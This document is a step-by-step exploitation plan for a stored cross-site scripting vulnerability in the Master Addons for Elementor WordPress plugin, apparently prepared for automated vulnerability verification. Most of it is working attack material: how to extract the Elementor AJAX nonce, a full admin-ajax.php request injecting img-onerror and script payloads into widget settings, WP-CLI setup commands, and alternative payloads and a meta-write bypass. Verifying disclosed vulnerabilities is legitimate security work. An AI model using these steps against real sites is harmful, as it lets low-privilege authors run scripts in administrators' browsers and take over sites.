Master Addons For Elementor – Widgets, Extensions, Theme Builder, Popup Builder & Template Kits <= 2.1.3 - Authenticated (Author+) Stored Cross-Site Scripting

This plan outlines the research and exploitation steps to verify the Stored Cross-Site Scripting (XSS) vulnerability in the Master Addons For Elementor plugin.

1. Vulnerability Summary

The "Master Addons For Elementor" plugin fails to properly sanitize and escape input in various Elementor widget controls. When a user with Author-level permissions or higher creates or edits a page using the Elementor builder and adds one of the affected widgets (e.g., Cards, Advanced Image, Business Hours), they can inject malicious scripts into text fields. These scripts are then stored in the post's metadata and executed in the context of any user (including Administrators) who views the page.

2. Attack Vector Analysis

• Vulnerable Endpoints: wp-admin/admin-ajax.php (via Elementor's save_builder action).
• Vulnerable Parameter: The elements array within the actions parameter of the elementor_ajax call.
• Authentication Level: Author or above (any user with edit_posts capability for a post they own).
• Preconditions: Elementor must be active, and the attacker must be able to edit a page/post using the Elementor editor.

3. Code Flow

1. Input: An Author sends a JSON payload to the elementor_ajax action containing widget settings (e.g., ma_el_card_title for the ma-el-card widget).
2. Storage: Elementor's backend processing saves this JSON into the _elementor_data post meta for that specific post.
3. Execution:
   • When the page is rendered, Elementor\Widget_Base::get_settings_for_display() (inherited by the widgets) retrieves the saved settings.
   • The widget's render() function (e.g., in addons/ma-cards/ma-cards.php) accesses these settings: $settings = $this->get_settings_for_display();.
   • The code then echoes the value directly without escaping: echo $settings['ma_el_card_title']; (or similar unescaped output calls).
4. Sink: The raw HTML/JavaScript is sent to the browser and executed.

4. Nonce Acquisition Strategy

To save Elementor data via HTTP, the elementor_ajax nonce is required.

1. Preparation: Create a page and assign it to the Author.
2. Navigation: Open the Elementor editor for that page in the browser: browser_navigate("/wp-admin/post.php?post=[POST_ID]&action=elementor").
3. Extraction: The nonce is stored in a global JavaScript configuration object. Use browser_eval to extract it:
   • Variable 1: window.elementorConfig?.ajax?.nonce
   • Variable 2: window.elementorCommon?.config?.ajax?.nonce
   • Variable 3: window.elementorEditorConfig?.ajax?.nonce

5. Exploitation Strategy

We will target the Cards widget (ma-el-card) and its ma_el_card_title control.

Step 1: Authenticated Session
Login as a user with the Author role.

Step 2: Nonce Extraction
Navigate to the Elementor editor of a post owned by the Author and extract the elementor_ajax nonce using the strategy above.

Step 3: Inject Payload
Send an HTTP POST request to admin-ajax.php to save the malicious widget configuration.

• URL: http://[target]/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: elementor_ajax
  • _nonce: [EXTRACTED_NONCE]
  • actions: (URL-encoded JSON string below)

{
  "save_builder": {
    "action": "save_builder",
    "data": {
      "status": "publish",
      "elements": [
        {
          "id": "jltma_sec",
          "elType": "section",
          "elements": [
            {
              "id": "jltma_col",
              "elType": "column",
              "elements": [
                {
                  "id": "jltma_card_exploit",
                  "elType": "widget",
                  "widgetType": "ma-el-card",
                  "settings": {
                    "ma_el_card_title": "<img src=x onerror=alert('XSS_SUCCESS_TITLE')>",
                    "ma_el_card_tag": "<img src=x onerror=alert('XSS_SUCCESS_TAG')>",
                    "ma_el_card_description": "<img src=x onerror=alert('XSS_SUCCESS_DESC')>"
                  }
                }
              ]
            }
          ]
        }
      ]
    }
  }
}

Step 4: Execution
Visit the frontend of the page (/?p=[POST_ID]).

6. Test Data Setup

1. Create Author User:
   wp user create author_tester author@example.com --role=author --user_pass=password123
2. Create Page:
   wp post create --post_type=page --post_title="Elementor XSS Test" --post_status=publish --post_author=$(wp user get author_tester --field=ID)
3. Ensure Elementor Role Manager Permissions: By default, Authors can use Elementor. Ensure no restrictions are set in Elementor > Role Manager.

7. Expected Results

• The elementor_ajax request should return a 200 OK with a JSON body indicating {"success":true,...}.
• When viewing the page, a JavaScript alert box should appear with the message XSS_SUCCESS_TITLE.
• Inspecting the source of the rendered page should show the raw <img src=x onerror=...> inside the ma-el-card-title div.

8. Verification Steps

• CLI Verification: Check if the payload is stored in post meta.
  wp post meta get [POST_ID] _elementor_data
  (Confirm the JSON contains the onerror payload).
• DOM Verification: Use browser_eval to check for the presence of the exploit string.
  browser_eval("document.body.innerHTML.includes('XSS_SUCCESS_TITLE')")

9. Alternative Approaches

If the ma-el-card widget is patched or unavailable, use these alternatives:

• Advanced Image Widget:
  • widgetType: jltma-advanced-image
  • settings: {"ma_el_adv_image_display_ribbon": "yes", "ma_el_adv_image_ribbon_text": "<script>alert(1)</script>"}
• Search Widget:
  • widgetType: ma-search
  • settings: {"jltma_search_icon_popup_search_text": "<script>alert(1)</script>"}
• Direct Meta Update (Bypass AJAX):
  If the AJAX nonce extraction fails, manually set the meta as a test to verify the rendering vulnerability:
  wp post meta set [POST_ID] _elementor_data '[JSON_PAYLOAD_HERE]'
wp post meta set [POST_ID] _elementor_edit_mode active